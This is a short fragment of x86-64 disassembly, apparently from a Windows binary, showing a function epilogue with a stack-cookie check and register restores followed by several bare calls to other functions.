xor rcx, rsp
call fcn.1400085b0
lea r11, [rsp + 0x3b0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.1400012e0
nop
call fcn.140001240
nop
call fcn.140001240
nop
call fcn.1400012e0
int3